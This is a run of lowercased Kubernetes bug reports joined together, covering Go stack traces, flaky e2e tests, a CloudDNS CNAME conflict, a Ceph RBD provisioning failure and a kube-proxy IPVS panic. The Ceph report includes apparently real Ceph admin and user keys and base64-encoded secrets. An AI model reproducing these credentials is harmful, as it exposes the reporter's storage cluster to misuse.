runtime.mstart       /usr/local/go/src/runtime/proc.go:1051  goroutine 1  running, locked to thread : runtime.systemstack_switch       /usr/local/go/src/runtime/asm_amd64.s:245 fp=0xc820241d78 sp=0xc820241d70 runtime.mallocgc 0x3000, 0x164ed60, 0x0, 0xc8202a2630      /usr/local/go/src/runtime/malloc.go:643 +0x869 fp=0xc820241e50 sp=0xc820241d78 runtime.newarray 0x164ed60, 0x133, 0x10b00000085      /usr/local/go/src/runtime/malloc.go:798 +0xc9 fp=0xc820241e90 sp=0xc820241e50 runtime.growslice 0x11e2480, 0xc8202e0a00, 0x86, 0x86, 0x87, 0x0, 0x0, 0x0      /usr/local/go/src/runtime/slice.go:100 +0x2c1 fp=0xc820241f00 sp=0xc820241e90 regexp/syntax.  compiler .quest 0xc820269900, 0x10b0000007f, 0x10b00000000, 0x0      /usr/local/go/src/regexp/syntax/compile.go:228 +0x21f fp=0xc820241fb8 sp=0xc820241f00 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202ef9d0, 0x0      /usr/local/go/src/regexp/syntax/compile.go:146 +0x17cc fp=0xc820242240 sp=0xc820241fb8 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202efa40, 0x0      /usr/local/go/src/regexp/syntax/compile.go:156 +0x1ab3 fp=0xc8202424c8 sp=0xc820242240 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202efab0, 0x0      /usr/local/go/src/regexp/syntax/compile.go:146 +0x1783 fp=0xc820242750 sp=0xc8202424c8 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202efb20, 0x0      /usr/local/go/src/regexp/syntax/compile.go:156 +0x1ab3 fp=0xc8202429d8 sp=0xc820242750 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202efb90, 0x0      /usr/local/go/src/regexp/syntax/compile.go:146 +0x1783 fp=0xc820242c60 sp=0xc8202429d8 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202efc00, 0x0      /usr/local/go/src/regexp/syntax/compile.go:156 +0x1ab3 fp=0xc820242ee8 sp=0xc820242c60 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202efc70, 0x0      /usr/local/go/src/regexp/syntax/compile.go:146 +0x1783 fp=0xc820243170 sp=0xc820242ee8 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202efce0, 0x0      /usr/local/go/src/regexp/syntax/compile.go:156 +0x1ab3 fp=0xc8202433f8 sp=0xc820243170 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202efd50, 0x0      /usr/local/go/src/regexp/syntax/compile.go:146 +0x1783 fp=0xc820243680 sp=0xc8202433f8 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202efdc0, 0x0      /usr/local/go/src/regexp/syntax/compile.go:156 +0x1ab3 fp=0xc820243908 sp=0xc820243680 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202efe30, 0x0      /usr/local/go/src/regexp/syntax/compile.go:146 +0x1783 fp=0xc820243b90 sp=0xc820243908 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202efea0, 0x0      /usr/local/go/src/regexp/syntax/compile.go:156 +0x1ab3 fp=0xc820243e18 sp=0xc820243b90 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202eff10, 0x0      /usr/local/go/src/regexp/syntax/compile.go:146 +0x1783 fp=0xc8202440a0 sp=0xc820243e18 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202eff80, 0x0      /usr/local/go/src/regexp/syntax/compile.go:156 +0x1ab3 fp=0xc820244328 sp=0xc8202440a0 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f2000, 0x0      /usr/local/go/src/regexp/syntax/compile.go:146 +0x1783 fp=0xc8202445b0 sp=0xc820244328 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f2070, 0x0      /usr/local/go/src/regexp/syntax/compile.go:156 +0x1ab3 fp=0xc820244838 sp=0xc8202445b0 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f20e0, 0x0      /usr/local/go/src/regexp/syntax/compile.go:146 +0x1783 fp=0xc820244ac0 sp=0xc820244838 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f2150, 0x0      /usr/local/go/src/regexp/syntax/compile.go:156 +0x1ab3 fp=0xc820244d48 sp=0xc820244ac0 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f21c0, 0x0      /usr/local/go/src/regexp/syntax/compile.go:146 +0x1783 fp=0xc820244fd0 sp=0xc820244d48 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f2230, 0x0      /usr/local/go/src/regexp/syntax/compile.go:156 +0x1ab3 fp=0xc820245258 sp=0xc820244fd0 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f22a0, 0x0      /usr/local/go/src/regexp/syntax/compile.go:146 +0x1783 fp=0xc8202454e0 sp=0xc820245258 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f2310, 0x0      /usr/local/go/src/regexp/syntax/compile.go:156 +0x1ab3 fp=0xc820245768 sp=0xc8202454e0 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f2380, 0x0      /usr/local/go/src/regexp/syntax/compile.go:146 +0x1783 fp=0xc8202459f0 sp=0xc820245768 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f23f0, 0x0      /usr/local/go/src/regexp/syntax/compile.go:156 +0x1ab3 fp=0xc820245c78 sp=0xc8202459f0 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f2460, 0x0      /usr/local/go/src/regexp/syntax/compile.go:146 +0x1783 fp=0xc820245f00 sp=0xc820245c78 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f24d0, 0x0      /usr/local/go/src/regexp/syntax/compile.go:156 +0x1ab3 fp=0xc820246188 sp=0xc820245f00 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f2540, 0x0      /usr/local/go/src/regexp/syntax/compile.go:146 +0x1783 fp=0xc820246410 sp=0xc820246188 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f25b0, 0x0      /usr/local/go/src/regexp/syntax/compile.go:156 +0x1ab3 fp=0xc820246698 sp=0xc820246410 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f2620, 0x0      /usr/local/go/src/regexp/syntax/compile.go:146 +0x1783 fp=0xc820246920 sp=0xc820246698 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f2690, 0x0      /usr/local/go/src/regexp/syntax/compile.go:156 +0x1ab3 fp=0xc820246ba8 sp=0xc820246920 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f2700, 0x0      /usr/local/go/src/regexp/syntax/compile.go:146 +0x1783 fp=0xc820246e30 sp=0xc820246ba8 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f2770, 0x0      /usr/local/go/src/regexp/syntax/compile.go:156 +0x1ab3 fp=0xc8202470b8 sp=0xc820246e30 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f27e0, 0x0      /usr/local/go/src/regexp/syntax/compile.go:146 +0x1783 fp=0xc820247340 sp=0xc8202470b8 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f2850, 0x0      /usr/local/go/src/regexp/syntax/compile.go:156 +0x1ab3 fp=0xc8202475c8 sp=0xc820247340 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f28c0, 0x0      /usr/local/go/src/regexp/syntax/compile.go:146 +0x1783 fp=0xc820247850 sp=0xc8202475c8 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f2930, 0x0      /usr/local/go/src/regexp/syntax/compile.go:156 +0x1ab3 fp=0xc820247ad8 sp=0xc820247850 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f29a0, 0x0      /usr/local/go/src/regexp/syntax/compile.go:146 +0x1783 fp=0xc820247d60 sp=0xc820247ad8 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f2a10, 0x0      /usr/local/go/src/regexp/syntax/compile.go:156 +0x1ab3 fp=0xc820247fe8 sp=0xc820247d60 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f2a80, 0x0      /usr/local/go/src/regexp/syntax/compile.go:146 +0x1783 fp=0xc820248270 sp=0xc820247fe8 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f2af0, 0x0      /usr/local/go/src/regexp/syntax/compile.go:156 +0x1ab3 fp=0xc8202484f8 sp=0xc820248270 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f2b60, 0x0      /usr/local/go/src/regexp/syntax/compile.go:146 +0x1783 fp=0xc820248780 sp=0xc8202484f8 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f2bd0, 0x0      /usr/local/go/src/regexp/syntax/compile.go:156 +0x1ab3 fp=0xc820248a08 sp=0xc820248780 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f2c40, 0x0      /usr/local/go/src/regexp/syntax/compile.go:146 +0x1783 fp=0xc820248c90 sp=0xc820248a08 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f2cb0, 0x0      /usr/local/go/src/regexp/syntax/compile.go:156 +0x1ab3 fp=0xc820248f18 sp=0xc820248c90 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f2d20, 0x0      /usr/local/go/src/regexp/syntax/compile.go:146 +0x1783 fp=0xc8202491a0 sp=0xc820248f18 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f2d90, 0x0      /usr/local/go/src/regexp/syntax/compile.go:156 +0x1ab3 fp=0xc820249428 sp=0xc8202491a0 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f2e00, 0x0      /usr/local/go/src/regexp/syntax/compile.go:146 +0x1783 fp=0xc8202496b0 sp=0xc820249428 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f2e70, 0x0      /usr/local/go/src/regexp/syntax/compile.go:156 +0x1ab3 fp=0xc820249938 sp=0xc8202496b0 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f2ee0, 0x0      /usr/local/go/src/regexp/syntax/compile.go:146 +0x1783 fp=0xc820249bc0 sp=0xc820249938 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f2f50, 0x0      /usr/local/go/src/regexp/syntax/compile.go:156 +0x1ab3 fp=0xc820249e48 sp=0xc820249bc0 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f2fc0, 0x0      /usr/local/go/src/regexp/syntax/compile.go:146 +0x1783 fp=0xc82024a0d0 sp=0xc820249e48 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f3030, 0x0      /usr/local/go/src/regexp/syntax/compile.go:156 +0x1ab3 fp=0xc82024a358 sp=0xc82024a0d0 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f30a0, 0x0      /usr/local/go/src/regexp/syntax/compile.go:146 +0x1783 fp=0xc82024a5e0 sp=0xc82024a358 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f3110, 0x0      /usr/local/go/src/regexp/syntax/compile.go:156 +0x1ab3 fp=0xc82024a868 sp=0xc82024a5e0 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f3180, 0x0      /usr/local/go/src/regexp/syntax/compile.go:146 +0x1783 fp=0xc82024aaf0 sp=0xc82024a868 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f31f0, 0x0      /usr/local/go/src/regexp/syntax/compile.go:156 +0x1ab3 fp=0xc82024ad78 sp=0xc82024aaf0 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f3260, 0x0      /usr/local/go/src/regexp/syntax/compile.go:146 +0x1783 fp=0xc82024b000 sp=0xc82024ad78 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f32d0, 0x0      /usr/local/go/src/regexp/syntax/compile.go:156 +0x1ab3 fp=0xc82024b288 sp=0xc82024b000 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f3340, 0x0      /usr/local/go/src/regexp/syntax/compile.go:146 +0x1783 fp=0xc82024b510 sp=0xc82024b288 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f33b0, 0x0      /usr/local/go/src/regexp/syntax/compile.go:156 +0x1ab3 fp=0xc82024b798 sp=0xc82024b510 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f3420, 0x0      /usr/local/go/src/regexp/syntax/compile.go:146 +0x1783 fp=0xc82024ba20 sp=0xc82024b798 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f3490, 0x0      /usr/local/go/src/regexp/syntax/compile.go:156 +0x1ab3 fp=0xc82024bca8 sp=0xc82024ba20 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f3500, 0x0      /usr/local/go/src/regexp/syntax/compile.go:146 +0x1783 fp=0xc82024bf30 sp=0xc82024bca8 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f3570, 0x0      /usr/local/go/src/regexp/syntax/compile.go:156 +0x1ab3 fp=0xc82024c1b8 sp=0xc82024bf30 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f35e0, 0x0      /usr/local/go/src/regexp/syntax/compile.go:146 +0x1783 fp=0xc82024c440 sp=0xc82024c1b8 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f3650, 0x0      /usr/local/go/src/regexp/syntax/compile.go:156 +0x1ab3 fp=0xc82024c6c8 sp=0xc82024c440 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f36c0, 0x0      /usr/local/go/src/regexp/syntax/compile.go:146 +0x1783 fp=0xc82024c950 sp=0xc82024c6c8 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f3730, 0x0      /usr/local/go/src/regexp/syntax/compile.go:156 +0x1ab3 fp=0xc82024cbd8 sp=0xc82024c950 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f37a0, 0x0      /usr/local/go/src/regexp/syntax/compile.go:146 +0x1783 fp=0xc82024ce60 sp=0xc82024cbd8 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f3810, 0x0      /usr/local/go/src/regexp/syntax/compile.go:156 +0x1ab3 fp=0xc82024d0e8 sp=0xc82024ce60 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f3880, 0x0      /usr/local/go/src/regexp/syntax/compile.go:146 +0x1783 fp=0xc82024d370 sp=0xc82024d0e8 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f38f0, 0x0      /usr/local/go/src/regexp/syntax/compile.go:156 +0x1ab3 fp=0xc82024d5f8 sp=0xc82024d370 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f3960, 0x0      /usr/local/go/src/regexp/syntax/compile.go:146 +0x1783 fp=0xc82024d880 sp=0xc82024d5f8 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f39d0, 0x0      /usr/local/go/src/regexp/syntax/compile.go:156 +0x1ab3 fp=0xc82024db08 sp=0xc82024d880 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f3a40, 0x0      /usr/local/go/src/regexp/syntax/compile.go:146 +0x1783 fp=0xc82024dd90 sp=0xc82024db08 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f3ab0, 0x0      /usr/local/go/src/regexp/syntax/compile.go:156 +0x1ab3 fp=0xc82024e018 sp=0xc82024dd90 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f3b20, 0x0      /usr/local/go/src/regexp/syntax/compile.go:146 +0x1783 fp=0xc82024e2a0 sp=0xc82024e018 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f3b90, 0x0      /usr/local/go/src/regexp/syntax/compile.go:156 +0x1ab3 fp=0xc82024e528 sp=0xc82024e2a0 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f3c00, 0x0      /usr/local/go/src/regexp/syntax/compile.go:146 +0x1783 fp=0xc82024e7b0 sp=0xc82024e528 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f3c70, 0x0      /usr/local/go/src/regexp/syntax/compile.go:156 +0x1ab3 fp=0xc82024ea38 sp=0xc82024e7b0 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f3ce0, 0x0      /usr/local/go/src/regexp/syntax/compile.go:146 +0x1783 fp=0xc82024ecc0 sp=0xc82024ea38 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f3d50, 0x0      /usr/local/go/src/regexp/syntax/compile.go:156 +0x1ab3 fp=0xc82024ef48 sp=0xc82024ecc0 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f3dc0, 0x0      /usr/local/go/src/regexp/syntax/compile.go:146 +0x1783 fp=0xc82024f1d0 sp=0xc82024ef48 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f3e30, 0x0      /usr/local/go/src/regexp/syntax/compile.go:156 +0x1ab3 fp=0xc82024f458 sp=0xc82024f1d0 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f3ea0, 0x0      /usr/local/go/src/regexp/syntax/compile.go:146 +0x1783 fp=0xc82024f6e0 sp=0xc82024f458 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f3f10, 0x0      /usr/local/go/src/regexp/syntax/compile.go:156 +0x1ab3 fp=0xc82024f968 sp=0xc82024f6e0 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f3f80, 0x0      /usr/local/go/src/regexp/syntax/compile.go:146 +0x1783 fp=0xc82024fbf0 sp=0xc82024f968 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f4000, 0x0      /usr/local/go/src/regexp/syntax/compile.go:156 +0x1ab3 fp=0xc82024fe78 sp=0xc82024fbf0 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f4070, 0x0      /usr/local/go/src/regexp/syntax/compile.go:146 +0x1783 fp=0xc820250100 sp=0xc82024fe78 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f40e0, 0x0      /usr/local/go/src/regexp/syntax/compile.go:156 +0x1ab3 fp=0xc820250388 sp=0xc820250100 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f4150, 0x0      /usr/local/go/src/regexp/syntax/compile.go:146 +0x1783 fp=0xc820250610 sp=0xc820250388 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f41c0, 0x0      /usr/local/go/src/regexp/syntax/compile.go:156 +0x1ab3 fp=0xc820250898 sp=0xc820250610 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f4230, 0x0      /usr/local/go/src/regexp/syntax/compile.go:146 +0x1783 fp=0xc820250b20 sp=0xc820250898 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f42a0, 0x0      /usr/local/go/src/regexp/syntax/compile.go:156 +0x1ab3 fp=0xc820250da8 sp=0xc820250b20 regexp/syntax.  compiler .compile 0xc820269900, 0xc8202f4310, 0x0      /usr/local/go/src/regexp/syntax/compile.go:146 +0x1783 fp=0xc820251030 sp=0xc820250da8 ...additional frames elided...  goroutine 5  chan receive : k8s.io/kubernetes/vendor/github.com/golang/glog.  loggingt .flushdaemon 0x23421e0      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:879 +0x67 created by k8s.io/kubernetes/vendor/github.com/golang/glog.init.1     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:410 +0x297     - ran again: didn't happen.    how to reproduce it    as minimally and precisely as possible :  can't reproduce. reporting here just so that it gets registered. probably golang thingy  https://github.com/golang/go/issues/16331 .

forked from https://github.com/kubernetes/kubernetes/issues/35197 issuecomment-260493189\r \r the kubectl test \ should remove all the taints with the same key off a node\  adds taint to the node, which may interfere with other tests. \r \r e.g., https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gke/3881/\r    \r  beforeeach   k8s.io  kubectl client\r   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:282\r  it  should remove all the taints with the same key off a node\r   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:1434\r \u001b 1mstep\u001b 0m: adding the taint kubernetes.io/e2e-taint-key-83fc44ac-a9f4-11e6-b3d6-0242ac110003=testing-taint-value:noschedule to a node\r nov 13 14:57:13.287: info: running '/workspace/kubernetes/platforms/linux/amd64/kubectl --server=https://104.198.70.74 --kubeconfig=/workspace/.kube/config taint nodes gke-jenkins-e2e-default-pool-a4eebde8-om8a kubernetes.io/e2e-taint-key-83fc44ac-a9f4-11e6-b3d6-0242ac110003=testing-taint-value:noschedule'\r nov 13 14:57:13.552: info: stderr: \ \ \r nov 13 14:57:13.552: info: stdout: \ node \\\ gke-jenkins-e2e-default-pool-a4eebde8-om8a\\\  tainted\ \ \r \u001b 1mstep\u001b 0m: verifying the node has the taint kubernetes.io/e2e-taint-key-83fc44ac-a9f4-11e6-b3d6-0242ac110003=testing-taint-value:noschedule\r nov 13 14:57:13.552: info: running '/workspace/kubernetes/platforms/linux/amd64/kubectl --server=https://104.198.70.74 --kubeconfig=/workspace/.kube/config describe node gke-jenkins-e2e-default-pool-a4eebde8-om8a'\r    \r \r the node  gke-jenkins-e2e-default-pool-a4eebde8-om8a  was considered unschedulable in a non-related test and caused confusion/failures.\r \r /cc @kubernetes/kubectl

is this a bug report or feature request?    choose one :\r bug report. i spotted three dead links in the guestbook readme inside this repo.

this has surfaced in ingress and service e2e tests that manipulate dns entries. the service controller queries the managed dns entry, thinks that the cname doesn't exist and adds a new one. however, clouddns says  through a 409  that the entry already exists. error message aside, the control flow within the service controller's endpoint_helper prevents a service from being deleted.\r \r it's unclear at this point whether there's a race condition. i doubt it given the amount of logging that happens showing that there is no concurrent cname entry being created.\r \r cc @shashidharatd have you seen this in your refactoring?\r \r    \r i0324 13:26:29.743  i0324 20:20:47.452653       1 dns.go:191  no recordsets found for dns name \ federated-service.e2e-tests-federated-service-r4281.e2e-federation.svc.us-central1-b.us-central1.test-f8n.k8s.io.\ .  need to add either a records  if we have healthy endpoints , or a cname record to \ federated-service.e2e-tests-federated-service-r4281.e2e-federation.svc.us-central1.test-f8n.k8s.io.\ \r i0324 13:26:29.743  i0324 20:20:47.452694       1 dns.go:193  there are no healthy endpoint addresses at level \ federated-service.e2e-tests-federated-service-r4281.e2e-federation.svc.us-central1-b.us-central1.test-f8n.k8s.io.\ , so cname to \ federated-service.e2e-tests-federated-service-r4281.e2e-federation.svc.us-central1.test-f8n.k8s.io.\ , if provided\r i0324 13:26:29.743  i0324 20:20:47.452713       1 dns.go:195  creating cname to \ federated-service.e2e-tests-federated-service-r4281.e2e-federation.svc.us-central1.test-f8n.k8s.io.\  for \ federated-service.e2e-tests-federated-service-r4281.e2e-federation.svc.us-central1-b.us-central1.test-f8n.k8s.io.\ \r i0324 13:26:29.743  i0324 20:20:47.452735       1 dns.go:197  adding recordset < clouddns  \ federated-service.e2e-tests-federated-service-r4281.e2e-federation.svc.us-central1-b.us-central1.test-f8n.k8s.io.\  type=cname rrdatas= \ federated-service.e2e-tests-federated-service-r4281.e2e-federation.svc.us-central1.test-f8n.k8s.io.\   ttl=180>\r i0324 13:26:29.743  i0324 20:20:47.500162       1 endpoint_helper.go:182  error ensuring dns records: googleapi: error 409: the resource 'entity.change.additions 0 ' named 'federated-service.e2e-tests-federated-service-r4281.e2e-federation.svc.us-central1-b.us-central1.test-f8n.k8s.io.  cname ' already exists, alreadyexists\r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-serial/1044/ failed:  k8s.io  restart  disruptive  should restart all nodes and ensure all nodes and pods recover {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/restart.go:125 may  1 22:15:11.598: at least one pod wasn't running and ready or succeeded at test start. /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/restart.go:94       previous issues for this test:  26744  26929  38552

from @nikhita on https://github.com/kubernetes/test-infra/issues/2787\r \r i keep hitting this flake: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/45721/pull-kubernetes-federation-e2e-gce/5138/. noticed that most of the recently updated prs are failing on this one. see also: kubernetes/kubernetes 42072.\r \r i mentioned this in the sig-testing channel as well and wasn't sure if i should be mentioning in the above issue or create a new one in this repo but thought it would be better to document it here. : \r \r @kubernetes/sig-federation-test-failures \r 

  \r      what happened  :\r   logs of controller-manager  \r w1101 14:05:30.134407       7 rbd_util.go:364  failed to create rbd image, output\r w1101 14:05:30.134459       7 rbd_util.go:364  failed to create rbd image, output\r w1101 14:05:30.134507       7 rbd_util.go:364  failed to create rbd image, output\r e1101 14:05:30.134529       7 rbd.go:323  rbd: create volume failed, err: failed to create rbd image: fork/exec /usr/bin/rbd: invalid argument, command output:\r i1101 14:05:30.134553       7 pv_controller.go:1331  failed to provision volume for claim \ default/claim5\  with storageclass \ fast\ : failed to create rbd image: fork/exec /usr/bin/rbd: invalid argument, command output:\r \r    what you expected to happen:\r rbd executed successfully to create a volume on the ceph pool 'kube'\r \r    how to reproduce it  as minimally and precisely as possible :\r   ceph config  \r ceph admin key = aqamz/hzheyqaxaaurdtdys4gpc378vp0pleqa==\r ceph kube key = aqdcffhz1i3hmxaa5ob+suibzskc+9fdc5tkeq==\r ceph --cluster ceph auth get-or-create client.kube mon 'allow r' osd 'allow rwx pool=kube'\r \r ceph-secrets for users  admin, kube  with base64 encoded key\r apiversion: v1\r kind: secret\r metadata:\r   name: ceph-secret\r data:\r   key: qvfbtvovafpozvlxqxhbqvvszfrewxm0r1bjmzc4vnawuexlcue9pq==\r ---\r apiversion: v1\r kind: secret\r metadata:\r   name: ceph-secret-kube\r data:\r   key: qvfey2zmafoxatnitxhbqtvvqittdulielnlyys5rkrjnxrlzve9pq==\r \r   storageclass 'fast'  \r kind: storageclass\r apiversion: storage.k8s.io/v1\r metadata:\r   name: fast\r provisioner: kubernetes.io/rbd\r parameters:\r   monitors: 1:6789,2:6789,3:6789\r   adminid: admin\r   adminsecretname: ceph-secret\r   adminsecretnamespace: \ kube-system\ \r   pool: kube\r   userid: kube\r   usersecretname: ceph-secret-kube\r \r   persistentstorageclaim  \r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   name: claim5\r spec:\r   accessmodes:\r     - readwriteonce\r   resources:\r     requests:\r       storage: 3gi\r   storageclassname: fast\r \r   executing 'rbd' inside of controller-manager works:  \r $ kubectl exec -ti kube-controller-manager-st14d02ls-ztda11350501 -n kube-system rbd\r    \r 2017-11-01 14:10:26.664691 7febc9f05780 -1 did not load config file, using default settings.\r rbd: you must specify a command.\r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.3\ , gitcommit:\ 2c2fe6e8278a5db2d15a013987b53968c743f2a1\ , gittreestate:\ clean\ , builddate:\ 2017-08-03t07:00:21z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.5+coreos.0\ , gitcommit:\ 070d238cd2ec359928548e486a9171b498573181\ , gittreestate:\ clean\ , builddate:\ 2017-08-31t21:28:39z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r . 3 masters / api servers\r \r - os  e.g. from /etc/os-release :\r 10x centos 7.3 nodes\r \r - kernel  e.g.  uname -a  :\r 4.9.44, custom kernel build.\r \r - install tools:\r kubespray\r \r - others:\r docker 1.13\r hyperkube 1.7.5\r ceph version 0.94.10  b1e0532418e4631af01acbc0cedd426f1905f4af\r

is this a bug report or feature request?  :\r \r   \r   what happened  :\r default values for kube-proxy after saving values with --write-config-to are not sane and causes panic with stack trace on startup of kube-proxy\r \r i discovered this after some initial trouble in https://github.com/kubernetes/kubernetes/issues/55864\r \r here is the output of \ kube-proxy --write-config-to\ \r \r    \r apiversion: componentconfig/v1alpha1\r bindaddress: 0.0.0.0\r clientconnection:\r   acceptcontenttypes: \ \ \r   burst: 10\r   contenttype: application/vnd.kubernetes.protobuf\r   kubeconfig: \ \ \r   qps: 5\r clustercidr: \ \ \r configsyncperiod: 15m0s\r conntrack:\r   max: 0\r   maxpercore: 32768\r   min: 131072\r   tcpclosewaittimeout: 1h0m0s\r   tcpestablishedtimeout: 24h0m0s\r enableprofiling: false\r featuregates: \ \ \r healthzbindaddress: 0.0.0.0:10256\r hostnameoverride: \ \ \r iptables:\r   masqueradeall: false\r   masqueradebit: 14\r   minsyncperiod: 0s\r   syncperiod: 30s\r ipvs:\r   minsyncperiod: 0s\r   scheduler: \ \ \r   syncperiod: 0s\r kind: kubeproxyconfiguration\r metricsbindaddress: 127.0.0.1:10249\r mode: \ \ \r oomscoreadj: -999\r portrange: \ \ \r resourcecontainer: /kube-proxy\r udptimeoutmilliseconds: 250ms\r     \r as we can see on iptables.syncperiod it has a default of 30.\r if one uses the default values and tries to enable ipvs mode kube-proxy will crash with a panic if the ipvs.syncperiod is not adjusted to a positive number.\r \r change values to \r    \r featuregates:  supportipvsproxymode=true\r mode: ipvs\r    \r then try to start with --config pointing to that file.\r \r   what you expected to happen  :\r a warning that a zero value is not accepted and that the user should raise   ipvs.syncperiod  instead of a panic and stack trace.\r \r   how to reproduce it  as minimally and precisely as possible   :\r use default values for kube-proxy from  --write-config-to  with changes abobe and try to use ipvs mode.\r \r     \r i1116 12:50:34.062455       1 config.go:202  starting service config controller\r panic: non-positive interval for newticker\r \r goroutine 46  running :\r time.newticker 0x0, 0x8 \r \t/usr/local/go/src/time/tick.go:23 +0x1b4\r k8s.io/kubernetes/pkg/proxy/ipvs.  proxier .syncloop 0xc420a68f20 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/proxy/ipvs/proxier.go:736 +0x33\r k8s.io/kubernetes/cmd/kube-proxy/app.  proxyserver .run 0xc4208f9400, 0xc4208bb600, 0xc420208200 \r 